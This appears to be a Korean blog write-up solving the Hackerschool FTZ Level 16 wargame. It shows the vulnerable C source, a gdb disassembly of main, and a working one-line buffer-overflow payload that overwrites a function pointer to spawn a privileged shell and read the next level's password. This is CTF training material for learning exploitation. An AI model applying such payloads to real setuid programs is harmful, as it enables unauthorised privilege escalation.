본문 바로가기

Wargame & CTF/Hackerschool FTZ

[해커스쿨] FTZ LEVEL16

[해커스쿨] FTZ LEVEL16 문제 풀이



ㅁ 문제 요약


 문제 유형

System Hacking

 문제 타입

Linux 

 문제 난이도


ㅁ 상세분석


[그림 1] 문제 내용


LEVEL16 계정으로 로그인 하고 hint 파일 내용을 소스 코드를 보여주고 /home/level16 폴더에 setuid가 걸린 attackme 파일이 존재한다.


#include <stdio.h>

 

void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}

void printit() {

  printf("Hello there!\n");

}

 

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}

[그림 2] 문제 소스코드 분석


소스 코드 분석을 해보면 fgets 함수를 사용하는데 입력 버퍼보다 많은 버퍼를 사용해서 버퍼 오버플로우 취약점이 발생한다. 함수 포인터 call 변수에서 printit 함수를 호출하는데 shell 함수로 호출되도록 변경하면 된다.


Dump of assembler code for function main:

0x08048518 <main+0>:    push   ebp

0x08048519 <main+1>:    mov    ebp,esp

0x0804851b <main+3>:    sub    esp,0x38

0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500

0x08048525 <main+13>:   sub    esp,0x4

0x08048528 <main+16>:   push   ds:0x80496e8

0x0804852e <main+22>:   push   0x30

0x08048530 <main+24>:   lea    eax,[ebp-56]

0x08048533 <main+27>:   push   eax

0x08048534 <main+28>:   call   0x8048384 <fgets>

0x08048539 <main+33>:   add    esp,0x10

0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]

0x0804853f <main+39>:   call   eax

0x08048541 <main+41>:   leave

0x08048542 <main+42>:   ret

0x08048543 <main+43>:   nop

0x08048544 <main+44>:   nop

0x08048545 <main+45>:   nop

0x08048546 <main+46>:   nop

0x08048547 <main+47>:   nop

0x08048548 <main+48>:   nop

0x08048549 <main+49>:   nop

0x0804854a <main+50>:   nop

0x0804854b <main+51>:   nop

0x0804854c <main+52>:   nop

0x0804854d <main+53>:   nop

0x0804854e <main+54>:   nop

0x0804854f <main+55>:   nop

End of assembler dump.

[그림 3] main 함수 disassembly


main 함수를 분석하면 빨간색 부분이 문제 풀이의 핵심 부분이다. ebp-16에 0x8048500 값을 입력하고 call eax를 사용해서 printit 함수를 호출한다. 0x8048500 값은 printit 함수 시작 주소를 의미한다. 즉 버퍼 오버플로우를 발생 시켜서 ebp-16 위치에 shell 함수 주소를 넣으면 call eax를 호출할 때 shell 함수를 호출되도록 변경하면 된다.


[그림 4] shell 함수 주소 확인


gdb에서 disass shell 입력해서 shell 함수 시작 주소를 확인한다. 0x080484d0 주소가 shell 함수 시작 주소로 40바이트를 채우고 0x080484d0 입력하면 ebp-16에 0x080484d0 값이 들어가고 call eax를 호출하면 shell 함수가 호출된다.

최종 공격코드는 아래와 같다.

공격 코드: (python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat) | ./attackme


[그림 5] 문제 결과


공격 코드를 입력하면 LEVEL17 권한의 shell을 획득하고 my-pass 입력하면 LEVEL17 계정의 패스워드를 획득할 수 있다.



'Wargame & CTF > Hackerschool FTZ' 카테고리의 다른 글

[해커스쿨] FTZ LEVEL15  (0) 2016.01.05
[해커스쿨] FTZ LEVEL14  (0) 2016.01.05
[해커스쿨] FTZ LEVEL13  (0) 2016.01.04
[해커스쿨] FTZ LEVEL12  (0) 2016.01.04
[해커스쿨] FTZ LEVEL11  (0) 2016.01.04